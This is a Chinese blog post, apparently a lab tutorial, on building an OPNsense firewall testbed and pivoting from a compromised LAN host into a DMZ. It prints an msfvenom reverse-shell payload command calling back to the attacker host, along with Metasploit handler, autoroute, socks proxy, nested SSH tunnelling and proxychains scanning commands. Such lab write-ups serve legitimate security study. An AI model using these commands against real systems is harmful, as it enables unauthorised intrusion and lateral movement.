OPNsense防火墙搭建实验环境,MSF与SSH进行流量转发

摘要:

记录实验过程中踩到的坑。介绍OPNsense防火墙的安装配置并搭建实验环境,利用msf的模块及ssh进行流量转发(LAN向DMZ方向),为内网渗透做好准备。

目录:

一、实验环境 
二、OPNsense环境搭建 
三、LAN主机控制权,执行反弹shell 
四、判断内网网段 
五、寻找存活主机并扫描端口 
六、msf模块(socks4a) 
七、SSH嵌套(socks5):本地端口转发 + 远程端口转发 + 动态端口转发 
八、使用proxychains代理 
九、其它:nc获取HTTP,\r\n换行符问题 
十、总结

正文:

一、实验环境

目标:已控制LAN主机,需要向DMZ进行渗透。

一般DMZ为外网可以直接访问,这里没有添加WAN到DMZ的NAT规则。因为实验只是模拟LAN到DMZ,没有影响。

这里的DMZ可类似等于,LAN中其它网段的内网。

网络初始情况:(防火墙默认的规则)

LAN 可以访问 WAN + DMZ

DMZ 无法访问 WAN + LAN

WAN 无法访问 DMZ + LAN

二、OPNsense环境搭建

1、VM虚拟机的网卡设置:用于 LAN OPT(DMZ)

选择“仅主机模式” 。

不要开启DHCP服务,后续让OPNsense 来完成这个功能。

2、OPNsense硬件:配置三块网卡

第一块 VMnet10 配置成LAN:DHCP服务器 + web管理

第二块 VMnet11 配置成DMZ(OPT1):DHCP服务器

第三块 桥接物理网络 WAN:自动获取IP

3、登陆:初始账号密码:root opnsense

4、指定接口(选项1)

5、配置LAN(选项2):DHCP服务器 + web管理

会显示Web管理界面的地址(即防火墙IP)

6、配置DMZ(OPT1)(选项2):DHCP服务器

7、配置WAN(选项2):自动获取IP

8、配置完成

注意:遇到几次 OPT1 显示的ip不是设置的ip,而是DHCP的第一个地址。原因没找到…重新再对OPT1进行设置即可…

9、启动其它虚拟机

配置相应的VM网卡即可

注意:其它虚拟机最好不要先于防火墙启动(除非最后再重新获取一下IP),可能会出现LAN无法访问到DMZ之类的各种问题…

10、web管理界面:

LAN主机访问 192.168.100.1 登陆,进行防火墙规则配置。

三、LAN主机控制权,执行反弹shell

不讨论获取控制权的方法

注意:使用80/22这类防火墙允许出站的端口

直接msf生成,放到LAN执行

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.6 lport=80 -a x86 --platform win -f exe -o test_re_shell.exe

kali监听:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp   msf exploit(handler) > set LHOST 0.0.0.0   LHOST => 0.0.0.0   msf exploit(handler) > set LPORT 80   LPORT => 80   msf exploit(handler) > exploit   [*] Started reverse TCP handler on 0.0.0.0:80    [*] Sending stage (179267 bytes) to 192.168.1.8   [*] Meterpreter session 1 opened (192.168.1.6:80 -> 192.168.1.8:17172) at 2017-12-13 19:55:28 +0800   meterpreter >

四、判断内网网段

LAN网段:

meterpreter命令 ifconfig

meterpreter > ifconfig
...
Interface 13
============
Name         : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:da:02:47   MTU          : 1500   IPv4 Address : 192.168.100.21   IPv4 Netmask : 255.255.255.0   IPv6 Address : fe80::18ab:6da2:c479:1fe5   IPv6 Netmask : ffff:ffff:ffff:ffff::   ...

DMZ网段:

1、netstat:寻找指向DMZ的连接

meterpreter > netstat  Connection list
===============  Proto  Local address         Remote address     State        User  Inode  PID/Program name  -----  -------------         --------------     -----        ----  -----  ----------------  ...tcp    192.168.100.21:49310  192.168.150.22:80  ESTABLISHED  0     0 1560/iexplore.exe ... 

2、查看dns缓存记录(windows环境):

ipconfig /displaydns

meterpreter > shell
Process 2548 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����  C:\Users\molibird\Desktop>ipconfig /displaydns ipconfig /displaydns Windows IP ���� ... www.baidu.com ---------------------------------------- û�� AAAA ���͵ļ�¼ ... 

找到疑似内网的域名进行ping 获取ip

C:\Users\molibird\Desktop>ping www.molibird.com ... 

3、查看dns缓存记录(linux环境):

Linux下,默认好像不存在系统级别的dns缓存。

另外,nscd服务可以达到效果,但默认不启动,并且无法查看具体缓存信息。

service nscd start  #开启服务
nscd -g  #只能看缓存的整体统计
file /var/cache/nscd/hosts  #缓存文件是 data 类型,无法直接查看,也没有找到命令可以...

4、traceroute:通过路由情况 判断控制的LAN主机 是否在更深层的网络

访问外网任意域名即可

meterpreter > shellC:\Users\molibird\Desktop>tracert www.molibird.com  #windows环境cmd C:\Users\molibird\Desktop>traceroute -n www.molibird.com  #linux环境

五、寻找存活主机并扫描端口

msf 路由功能:

1、post/multi/manage/autoroute

注意:添加DMZ网段时 记得修改 cmd 参数 add ! 否则会直接无视subnet的设置

msf exploit(handler) > use post/multi/manage/autoroute
msf post(autoroute) > set subnet 192.168.100.0 #LAN #set subnet 192.168.150.0 #DMZ subnet => 192.168.100.0 msf post(autoroute) > set session 1 session => 1 msf post(autoroute) > set cmd add #默认参数autoadd会无视subnet的设置 自行判断 然后添加 cmd => add msf post(autoroute) > show options Module options (post/multi/manage/autoroute): Name Current Setting Required Description ---- --------------- -------- ----------- CMD add yes Specify the autoroute command (Accepted: add, autoadd, print, delete, default) NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24" SESSION 1 yes The session to run this module on. SUBNET 192.168.100.0 no Subnet (IPv4, for example, 10.10.10.0) msf post(autoroute) > exploit [!] SESSION may not be compatible with this module. [*] Running module against WIN-IFS3VSNKUQU [*] Adding a route to 192.168.100.0/255.255.255.0... [+] Route added to subnet 192.168.100.0/255.255.255.0. [*] Post module execution completed 

2、meterpreter的模块autoroute (已经不推荐使用)

meterpreter > run autoroute -h  #查看帮助
meterpreter > run autoroute -s 192.168.100.0/24  #添加
meterpreter > run autoroute -d -s 192.168.100.0/24 #删除 meterpreter > run autoroute -p #列出目前路由 

扫描端口功能:

注意:发现 RHOST设置太大范围的话 很可能会漏报。

1、post/windows/gather/arp_scanner

2、auxiliary/scanner/portscan/tcp

3、auxiliary/scanner/portscan/syn

4、auxiliary/scanner/portscan/ack

在meterpreter中使用:run + 参数

例子:

meterpreter > run auxiliary/scanner/portscan/syn RHOSTS=192.168.100.20-25 PORTS=1-100 THREADS=10 

在msfconsole中使用:例子:

msf post(autoroute) > use auxiliary/scanner/portscan/ack
msf auxiliary(ack) > set THREADS 10
THREADS => 10
msf auxiliary(ack) > set PORTS 1-100
PORTS => 1-100 msf auxiliary(ack) > set RHOSTS 192.168.100.18-22 RHOSTS => 192.168.100.18-22 msf auxiliary(ack) > show options Module options (auxiliary/scanner/portscan/ack): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, in milliseconds INTERFACE no The name of the interface JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 1-100 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS 192.168.100.18-22 yes The target address range or CIDR identifier SNAPLEN 65535 yes The number of bytes to capture THREADS 10 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds msf auxiliary(ack) > exploit 

总结的情况:

SYN/ACK类的都无法转发,完整的TCP可以进行转发

红色对钩:可以扫描

黑色乄(DMZ-ARP扫描中):ARP协议在同一网段中使用,所以对于DMZ无法适用。但又和其余黑色×不同,用wireshark抓包发现,ARP实际发送给了192.168.1.8防火墙(被转发了)。

其余黑色×:封包直接就发送给了不存在的192.168.100.0/24和192.168.150.0/24。(SYN/ACK无法被转发)

六、msf模块(socks4a)

将msf环境下的route供应给其它程序使用

msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0 msf auxiliary(socks4a) > set SRVPORT 1080 SRVPORT => 1080 msf auxiliary(socks4a) > exploit [*] Auxiliary module running as background job 0. msf auxiliary(socks4a) > [*] Starting the socks4a proxy server

七、SSH嵌套(socks5):本地端口转发 + 远程端口转发 + 动态端口转发

SSH 有三种端口转发的情况:

本地端口转发

远程端口转发

动态端口转发

草图中 红色箭头是真实流量的方向,黑色箭头是ssh连接的方向

对于本文的情况只能选择远程端口转发,这样可能需要多次使用ssh命令增加转发的规则。

将SSH嵌套使用:本地端口转发(外层)+ 远程端口转发(中层) +动态端口转发(内层)

1、外层:kali 既是ssh服务端,又是ssh客户端

在中层之后,kali监听的是本地的 127.0.0.1。

当我需要使用AWVS这类windows平台工具对DMZ进行渗透的时候,需要借用kali中建立的隧道。

利用本地端口转发 -g 的模式 开放一个端口给整个kali渗透这边的局域网。

2、中层:kali 是ssh服务端 ,LAN主机是ssh客户端

进行两主机间的端口转发

3、内层:LAN主机 既是ssh服务端,又是ssh客户端

将ssh“升级”为动态,避免多次使用ssh命令指定转发规则。

流量转发流向:windows渗透平台(192.168.1.2)

1、软件设置:192.168.1.2 –> 192.168.1.6:6000 (kali)

2、通过外层:192.168.1.6:6000(kali) –>192.168.1.6:7000(kali)

3、通过中层:192.168.1.6:7000(kali) –> 192.168.1.8 (防火墙)

4、通过中层 + 防火墙NAT:192.168.1.8(防火墙) –>192.168.100.22:2000(LAN主机)

5、通过内层:192.168.100.22:2000(LAN主机) –> 192.168.100.22:22(LAN主机)

6、代理访问:192.168.100.22:22(LAN主机) –> 192.168.100.22:xxx(随机端口) –> 192.168.150.80:80(DMZ主机)

步骤:

步骤一:kali:(外层ssh服务端 + 中层ssh服务端)

配置文件:/etc/ssh/sshd_config

Port 53
PermitRootLogin yes
PasswordAuthentication yes

步骤二、LAN主机:(内层ssh服务端)配置

配置文件:/etc/ssh/sshd_config

Port 22
PermitRootLogin yes
PasswordAuthentication yes

步骤三、LAN主机:(内层ssh进行连接)(自己连自己) 监听在端口2000

ssh -f -CN -D 2000 root@127.0.0.1 -p 22

步骤四、LAN主机:(中层ssh向kali进行连接) 远程端口转发

1、转发目标为 内层ssh的监听端口20002、会在kali上开启7000端口进行监听 转发流量

ssh -CN -R 7000:127.0.0.1:2000 root@192.168.1.6 -p 53 

步骤五、kali:(外层ssh进行连接)(自己连接自己)监听在6000端口

-g参数!让局域网可用!

ssh -CN -g -L 6000:127.0.0.1:7000 root@127.0.0.1 -p 53 

步骤六、windows渗透平台,通过 127.0.0.1:6000 进行代理即可

八、使用proxychains代理

配置文件/etc/proxychains.conf添加:

socks4和socks4a协议的 都是写作socks4

socks4 host port
#socks5 host port

进行代理:

proxychains nc 192.168.150.22 80
proxychains firefox
proxychains nmap -T4 -vv -Pn -sT 192.168.150.0/24 

1、firefox使用:

注意:在proxychains开启firefox的时候,千万不要已经有firefox实例启动着!!!通通关掉!!!

另外,firefox可以直接指定socks代理 不通过proxychains:

注意:设置socks代理的时候,上面的一些不需要填写!空着!

2、nmap使用:

注意:使用 -sT 参数!

注意:使用 -Pn 参数跳过主机存活检测

socks、proxychains 都无法代理单独的SYN/ACK这类的扫描,只能使用TCP完整连接进行扫描!

nmap 会先 进行DNS的查询(不会有正确的响应),接着会进行转发。

proxychains nmap -T4 -vv -Pn -sT 192.168.150.0/24

九、其它:nc获取HTTP,\r\n换行符问题

遇到情况:

1、直接连接:回车换行直接发送,导致无法加入其它HTTP头

nc -nv 192.168.1.2 80
GET / HTTP/1.1 #回车这里会直接发送出去了... 

2、proxychains 代理 nc:回车换行 可能无效(有些网站正常/有些不正常)

root@kali201702:~# proxychains nc 192.168.100.1 80
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-127.0.0.1:6000-<><>-192.168.100.1:80-<><>-OK GET / HTTP/1.1 Host: 192.168.100.1 #这里的回车 没有效果 

原因没有找到

解决办法:

1、将HTTP请求写在文本里 然后重定向到nc

vim编写的时候 需要设置 :set fileformat=dos 让换行成为\r\n

http.txt最后有两个 \r\n 换行

GET / HTTP/1.1
Host: 192.168.1.2
nc -nv 192.168.1.2 80 < http.txt 

2、echo + 管道:

-e 参数 可以解析\r\n

echo -e 'GET / HTTP/1.1\r\nHost: 192.168.1.2\r\n\r\n' | nc 192.168.1.2 80

3、连带最后两个换行,直接右键复制文本到终端窗口…

十、总结

1、实验场景是从LAN到DMZ,不知道真实情况这种多不多(社工?)。一般DMZ是可以外网直接访问到,然后从WEB切入,应该就需要从DMZ渗透到LAN,此时防火墙是会阻止这样的访问,这也是设立DMZ的一个目的。这种情况后续还需要再学习…

2、如同这里写的SSH嵌套使用,其它的DNS隧道/HTTP隧道等好像都有可能相互嵌套。感觉就是俄罗斯套娃…

3、msf的路由功能、socks代理、proxychains 无法转发SYN/ACK这类的扫描,使用完整TCP连接进行扫描。namp 使用 -sT 参数 并用 -Pn 跳过主机发现阶段。

参考:

1、http://www.freebuf.com/articles/network/125278.html 
2、https://security.stackexchange.com/questions/120708/nmap-through-proxy/120723#120723 
3、https://unix.stackexchange.com/questions/28553/how-to-read-the-local-dns-cache-contents 
4、https://www.offensive-security.com/metasploit-unleashed/proxytunnels/ 
5、https://www.offensive-security.com/metasploit-unleashed/pivoting/ 
6、https://m0n0.ch/wall/m0n0wall%20handbook%20chinese.pdf 
防火墙产品:OPNsense、pfSense、m0n0wall(官网好像已经没有下载连接了) 
1、https://opnsense.org/ 
2、https://www.pfsense.org/ 
3、https://m0n0.ch/wall/index.php

转载于:https://www.cnblogs.com/HacTF/p/8094591.html

OPNsense防火墙搭建实验环境,MSF与SSH进行流量转发相关推荐

  1. 企业内网防火墙搭建实验

    企业内网防火墙搭建实验 在一些企业中经常会搭建一些如下图所示的网络架构,在企业内部不仅可以正常访问内部网络,也可以正常访问外网.此外外网客户端也可以正常访问企业内部的web服务器.运维人员通常会通过额 ...

  2. CCSA学习笔记 第二节 搭建实验环境

    搭建CCSA实验环境 一.个人电脑的要求 1.CPU支持虚拟化 2.win10注意关闭更新 3.内存大于等于16G 二.关于EVE的资源分配 1.内存大于等于8G 2.CPU分配2个,必须激活虚拟化( ...

  3. 快速搭建实验环境:使用 Terraform 部署 Proxmox 虚拟机

    作者 | Addo Zhang 来源 | 云原生指北 自从用上 m1 的电脑,本地开发环境偶尔会遇到兼容性的问题.比如之前尝试用 Colima 在虚拟机中运行容器运行时和 Kubernetes,其实际 ...

  4. ARMv8体系结构基础02:搭建实验环境

    目录 1 实验环境概述 1.1 实验环境种类 1.2 树莓派4b简介 2 实验代码分析 2.1 实验代码结构 2.2 Makefile文件分析 2.3 linker.ld文件分析 2.4 程序流程分析 ...

  5. 第一章:搭建实验环境_eve-ng模拟器

    工具:eve-ng的ova格式的虚拟机文件:vmware eve-ng是深度定制的Ubuntu操作系统 第一步:下载ova格式的eve-ng虚拟机文件,导入到vmware (软件已上传到百度网盘和我的 ...

  6. 搭建实验环境时新路由器的常用配置命令

    修改主机名.设置特权模式密码.关闭DNS自动查找和设置登录和日期标志区: Router(config)#hostname *** Router(config)#enable secret *** Ro ...

  7. 华为LAB实验室:0-Ubuntu搭建实验环境

    各位好,我是乾颐堂大堂子.领取完整实战指南可以私信我,关键词:实战指南 下载Anconda3 新建虚拟环境(tf&ms) 2.1.安装tensorflow 2.1.1.忽略警报 2.2.安装m ...

  8. Argo CD系列视频图文版之手把手教你搭建Argo CD 实验环境

    开篇 本期视频,我们一起来手把手的搭建实验环境.为了节省资源,我们部署 All-In-One K8S环境,也就是所有 kubernetes 资源,运行在一台服务器上. 视频直达 第一部分视频 第二部分 ...

  9. SQL菜鸟笔记之第一篇 实验环境的搭建及准备工作

    都快12点了,今天白天太忙了,但是什么理由都不能作为借口,所以我还是要坚持做笔记,今天的也还要有! 不知道小布老师为什么只做了8讲sqlplus的课程,接下来我继续学习sql的课程,继续做sql菜鸟笔 ...

  10. 【Linux】循序渐进学运维-实验环境搭建

    文章目录 前言 实验环境工具介绍: 新建虚拟机 创建新的虚拟机 在新建虚拟机向导里选择典型 选择稍后安装操作系统 选择操作系统为linux,centos64位 虚拟机命名和存放虚拟机的位置 磁盘容量一 ...

最新文章

  1. 阶段1 语言基础+高级_1-3-Java语言高级_02-继承与多态_第5节 final关键字_5_final关键字用于修饰成员变量...
  2. 别再问我Redis内存满了该怎么办了
  3. 从Zabbix到Prometheus,同程艺龙数据库监控系统的实践
  4. 实现点击在当前位置画一个黑点,打印出当前点击的坐标
  5. 战神笔记本电脑自带access吗_双·12超值价 十代酷睿+GTX1650游戏本只卖4219元_神舟 战神Z7M-CU5NB_笔记本新闻...
  6. 【PAT乙级】1029 旧键盘 (20 分)
  7. express+mongodb+vue实现增删改查-全栈之路2.0
  8. CodeForces 451A
  9. Linux下创建动态库与使用
  10. PTS + ARMS打造性能和应用诊断利器
  11. centos和redhat vsftp安装和设定
  12. 组策略不让你登陆你怎么办
  13. java tostring 库_JavaBean toString() – 将bean对象打印成字符串
  14. 13. 使用类 【连载 13】
  15. 10年计算机速度慢加固态硬盘行不行,给超过十年的老笔记本电脑换固态值不值?试过发现还不错...
  16. 只争朝夕,不负韶华,告别2019,开启2020年新的奋斗征程!
  17. Oracle 实体用户授权及同步同义词
  18. 弧长积分公式的证明_20160414
  19. Ubuntu下Android编译环境Build_evn的配置
  20. couldn't create PTY

热门文章

  1. 将Keras模型导出为SavedModel模型
  2. Ansible的安装和全面介绍
  3. 桌面创建快捷方式 不显示图标
  4. 2021年新安全生产法知识考试题库
  5. matlab中grid相关知识
  6. SQL 计算月同比、月环比
  7. iOS8官方推荐图标和图像尺寸
  8. mac电脑双开微信的方法
  9. pt与px的对应关系
  10. 【学习笔记】贪心科技AI体验课